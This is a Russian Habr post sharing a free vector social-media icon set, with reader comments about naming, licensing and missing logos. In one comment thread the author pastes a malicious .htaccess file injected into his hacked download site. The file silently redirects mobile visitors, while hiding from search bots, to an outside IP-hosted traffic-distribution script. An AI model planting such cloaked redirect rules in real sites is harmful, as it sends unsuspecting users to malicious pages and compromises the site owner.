Пользователь
0,0
рейтинг
15 августа 2012 в 13:30

Дизайн → Графический фреймворк. Набор иконок социальных сервисов из песочницы



Привет уважаемое хабрасообщество, этот пост служит продолжением еще недавно активно обсуждаемой темы о социальных иконках [1] [2]. Мысль, которая пришла ко мне в голову после прочтения этих статей, привела к появлению нового вектора развития этой темы. Кстати о векторе, например бывает так, что дизайн разрабатываемого сайта или приложения имеет свою специфику и интегрировать стандартные иконки социальных сервисов без адаптации не представляется возможным. В таком случае мы берем в руки гугл и принимаемся за поиск нужных логотипов, для того чтобы создать подходящий набор иконок. Ах да я немного отвлекся, продолжим о векторе, чтобы не проделывать такие скучные действия, я собрал воедино несколько популярных иконок в векторе и теперь каждый желающий может сэкономить немного времени воспользовавшись им.

Немного о сборнике


Всегда думал что за минималом будущее, а тут еще и Виндовс со своим Метро… В общем, не изменяя любви к минимализму и тем самым следуя тренду был создан этот фреймворк. В нем нет скруглений и градиентов, хотя впрочем, благодаря формату этот вопрос решается в пару кликов.



Каждый файл состоит всего из двух фрагментов, фон и логотип.



Без проблем можно изменить не только цветовую гамму, но и форму.



Надеюсь, мои старания пойдут кому-то на пользу.

Лицензия: CC BY 3.0

UPD:
1.Добавил иконки: tumblr, rss, pinterest, blogger, foursquare.
2.Воспользовавшись подсказками в комментариях, создал отдельную страничку, с кратким описанием сборника. hands-creative.com/icon/
Руслан Степанов @hands
карма
31,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Дизайн

Комментарии (62)

  • +1
    спасибо
    • +1
      +1 Просто ложка к обеду :)
  • +1
    Классно, удобно, спасибо.
  • +1
    Спасибо! Отличный набор
  • +1
    Спасибо!.. Если еще и на github зальёте…
    • +1
      Сегодня вечером попробую сделать это.
  • +16
    Что за тон называть все подряд фреймворками?
    • +3
      Отчасти, название статьи(фреймворк) это легкий сарказм, но с другой стороны это действительно каркас для создания собственного набора иконок.
      • +6
        UI Kit.
    • –3
      Привыкайте. :)
      А как Вы это назвали бы?
      • +2
        Отвечу за dreamjke — набор иконок с исходниками, не в обиду автору.
        • +2
          На самом деле еще проще — исходники иконок.
          • 0
            макеты
      • +2
        За что минусы?
        Я разве сказал, что меня самого устраивает, что теперь все подряд называют фреймворками? Такова уж тенденция и от этого никуда не денешься — всех не переучишь.
        Но ведь «графический фреймворк» звучит так гордо, не то, что набор иконок с исходниками :)

        P.S. Последняя фраза — сарказм. Для непонятливых.
        • 0
          Так минусанули то, наверное, даже не из-за того что поддерживаете или нет, а за «призыв» к привыканию к этому. К этому привыкать не надо, от этого надо избавлять, как от особого проявления невежества. А на хабре, наверно, самый показательный способ сделать — минусовать использующих.

  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      больно нужно оно за пятьсот баксов… есть же проект Icons8. Там не 1700, а 896 значков, зато бесплатно и crowdsourcing.
      • НЛО прилетело и опубликовало эту надпись здесь
  • +11
    И снова это загадочное слово — фреймворк. Да и народ.ру — хостинг, что надо для «фреймворка».
  • +1
    Большое спасибо!
  • +3
    Лицензия? Можно использовать для коммерческих целей без ссылок?
    • 0
      Можно использовать как угодно, без ссылок. По поводу лицензии, CC BY 3.0 будет в этом случае уместна?
      • 0
        Да, спасибо.
  • +1
    Намного интереснее «фреймворк» смотрелся бы, если б в нем были csh и psd со всеми шейпами.
  • +2
    Очень похоже на стиль Glyphicons, спасибо, приятные иконки.
  • 0
    Почему-то создатели подобных наборов всегда обделяют вниманием Foursquare.
    • +1
      Попробую исправить это.
      • 0
        Было бы замечательно!
        • +3
          Не спроста обделяют вниманием Foursquare, логотип на самом деле довольно сложный, и его создатели не предусмотрели упрощенную версию (монохромную), поэтому получилось как-то так:

          • +1
            *Неспроста
          • 0
            Смотрится неплохо, спасибо.
          • 0
            никогда не замечал, что внутренний ромб такой маленький… в цвете смотрится сильно больше (видимо, из-за эффекта sunrise).
  • +1
    Brandico в Fontello не? Интегрируется и в верстку и в фотошоп в разы проще.
    • 0
      Была мысль сделать именно так, но тогда меняется смысл, этот сборник предназначен для создания иконок, их интеграция это отдельный вопрос. Думаю что правильным продолжением должна быть версия более подходящая для редактирования в фотошопе, судя по всему многим будет удобней.
    • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    Вы большой молодец, что нарисовали и символ «@». Как оказалось, он встречается недостаточно часто.
  • 0
    Как не называйте, но главное это полезность набора! Автору большое спасибо.
  • +2
    Еще нужен значок RSS. Ну и на гитхаб какой-нибудь выложить, вместо народа.
  • 0
    Tumblr, Pinterest нету)
    • 0
      Теперь есть )
  • 0
    А слон это PostgreSQL?
    • +2
      Evernote же
  • 0
    А вот у вконтакте же был новый логотип? Или они на него забили?
    • 0
      Судя по всему забили.

      image
      • 0
        Если сменить язык на английский, то в шапке и фавиконе будет новый логотип, правда на вашей странице все равно только эта В
        • 0
          Да, это локализация — vk
    • 0
      Между тем, Мне больше нравится “новый” логотип. Держите вектор!
      image
  • 0
    Я бы не делал flickr двумя залитыми кругами, возможно, стоит сделать один с обводкой (icq у вас сделан именно так). Вот как делал у себя когда то

    • +1
      так?

      • 0
        Именно, к моему камменту почему то не прикладывается картинка
  • 0
    За CC BY 3.0 спасибо.
    Не планируется версия PSD с иконками в кривых?
    • 0
      add:
      А еще было бы удобно, если бы в архиве был файлик license.txt с описанием примененной лицензии
      • 0
        Сделаю еще несколько иконок и добавлю license.txt
        • +1
          Еще небольшой апдейт — если у вас есть сайт и вы планируете размещать иконки на нем, в файл с лицензией можно поместить ссылку на сайт.

          Во-первых, лицензия может измениться в будущем.
          Во-вторых, некоторые заказчики / площадки могут заинтересоваться — действительно ли дизайнеры могут использовать в своих коммерческих проектах ваши иконки. В таком случае было бы очень удобно показать страницу, на которой есть ссылка на скачивание вашего Icon Pack и упоминание примененной лицензии.

          Спасибо.
          • 0
            Спасибо за подсказку, так и сделаю.
  • 0
    • 0
      Странно, у меня такого нет, код проверил — всё нормально. Что это может быть?
      • 0
        Пожаловался на ложное срабатывание Касперскому, получил ответ:

        Это не ложное срабатывание. Сайт был взломан, был заменён файл .htaccess.
        Если вы являетесь вебмастером данного ресурса, необходимо исправить данный файл и отписать нам на newvirus@kaspersky.com
        • 0
          Спасибо, касперский был прав…
          сколько всего нового в .httacces оказалось
          RewriteEngine on

          RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
          RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC]

          RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
          RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
          RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
          RewriteCond %{HTTP_USER_AGENT} !unix [NC]
          RewriteCond %{HTTP_USER_AGENT} !macos [NC]
          RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
          RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
          RewriteCond %{HTTP_USER_AGENT} !google [NC]
          RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
          RewriteCond %{HTTP_USER_AGENT} !bot [NC]
          RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
          RewriteCond %{HTTP_USER_AGENT} !msn [NC]
          RewriteCond %{HTTP_USER_AGENT} !america [NC]
          RewriteCond %{HTTP_USER_AGENT} !avant [NC]
          RewriteCond %{HTTP_USER_AGENT} !download [NC]
          RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
          RewriteCond %{HTTP_USER_AGENT} !maui [NC]
          RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
          RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
          RewriteCond %{QUERY_STRING} !wpc_nr [NC]

          RewriteRule ^(.*)$ 178.209.50.163/tds/go.php?sid=2 [L,R=302]

  • 0
    Я форкнул набор, зацените.
  • 0
    Спасибо!
  • +1
    Спасибо, товарищ!

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.